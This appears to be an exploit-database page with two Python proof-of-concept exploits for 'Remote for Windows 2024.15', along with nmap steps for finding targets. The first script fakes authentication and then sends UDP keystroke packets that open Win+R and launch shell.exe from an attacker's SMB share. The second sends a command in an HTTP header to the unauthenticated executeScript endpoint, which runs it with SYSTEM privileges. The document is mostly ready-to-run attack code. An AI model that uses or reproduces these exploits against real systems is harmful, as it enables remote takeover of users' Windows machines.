📄 Remote for Windows 2024.15 Remote Code Execution

# Exploit Title: Remote for Windows 2024.15 - RCE
    # Date: 2025-05-19
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://rs.ltd
    # Software Link: https://rs.ltd/latest.php?os=win
    # Version: 2024.15
    # Tested on: Windows 10/11 with Remote for Windows (helper)
    
    #!/usr/bin/env python3
    '''
    Remote for Windows 2024.15 - RCE
    this rce works when the "ask to grant access for unknown iOS devices" in
    settings is unchecked
    
    # Identification:
    nmap -p- -T4 <target> --script ssl-cert
    Look for SSL cert with subject: CN=SecureHTTPServer/O=Evgeny Cherpak/C=US
    '''
    
    #!/usr/bin/env python3
    import requests
    from scapy.all import IP, UDP, send, Raw
    import time
    import urllib3
    urllib3.disable_warnings()
    
    
    target = "192.168.8.105"
    port = 49709
    lhost= "192.168.8.101"
    cmd_string = f"cmd /c \\\\{lhost}\SHARE\shell.exe"
    
    print("authenticate..")
    
    requests.get(f"https://{target}:{port}/api/authenticate",
                headers={"X-ClientToken":"random123456"},
                verify=False,
                timeout=2)
    time.sleep(2)
    
    print("running Win+R..")
    
    for payload in [b'\x07\x00\x02\x00\x5b\x00\x01',
                    b'\x06\x00\x03\x00\x72\x00',
                    b'\x07\x00\x02\x00\x5b\x00\x00']:
        send(IP(dst=target)/UDP(dport=port)/Raw(load=payload), verbose=0)
    
    time.sleep(2)
    
    print("typing the payload..")
    
    for char in cmd_string:
        send(IP(dst=target)/UDP(dport=port)/Raw(
            load=b'\x06\x00\x03\x00' + char.encode("utf-16le")), verbose=0)
    
    
    
    time.sleep(5)
    print("executing..")
    send(IP(dst=target)/UDP(dport=port)/Raw(b'\x07\x00\x02\x00\x0d\x00\x01'),
    verbose=0)
    send(IP(dst=target)/UDP(dport=port)/Raw(b'\x07\x00\x02\x00\x0d\x00\x00'),
    verbose=0)
    
    
    
    
    ------
    
    
    # Exploit Title: Remote for Windows 2024.15 -  unauthenticated RCE
    # Date: 2025-05-19
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://rs.ltd
    # Software Link: https://rs.ltd/latest.php?os=win
    # Version: 2024.15
    # Tested on: Windows 10/11 with Remote for Windows (helper)
    
    #!/usr/bin/env python3
    '''
    Remote for Windows 2024.15 - unauthenticated RCE
    this remote code execution works when the "ask to grant access for unknown
    iOS devices" in settings is unchecked
    
    The Remote for Windows helper service exposes unauthenticated RCE through
    the executeScript API endpoint.
    This allows SYSTEM-level command execution via crafted HTTP requests.
    
    # Identification:
    nmap -p- -T4 <target> --script ssl-cert
    Look for SSL cert with subject: CN=SecureHTTPServer/O=Evgeny Cherpak/C=US
    
    # Usage:
    # python exploit.py <target_ip> <port> "<command>"
    # Example:
    # python exploit.py 192.168.1.100 443 "whoami"
    
    '''
    
    #!/usr/bin/env python3
    import requests, sys, json
    from urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <IP> <PORT> <COMMAND>")
        sys.exit(1)
    
    ip, port, cmd = sys.argv[1], sys.argv[2], " ".join(sys.argv[3:])
    
    try:
        r = requests.get(
            f"https://{ip}:{port}/api/executeScript",
            headers={
                "X-ClientToken": "1337",
                "X-HostFullModel": "exploit",
                "X-HostName": "attacker",
                "X-Script": cmd,
                "X-ScriptName": "cmd",
                "X-ScriptDelay": "0"
            },
            verify=False,
            timeout=10
        )
        response = json.loads(r.text)
        print(response.get("result", "").strip())
    except Exception as e:
        print(f"Error: {e}", file=sys.stderr)
        sys.exit(1)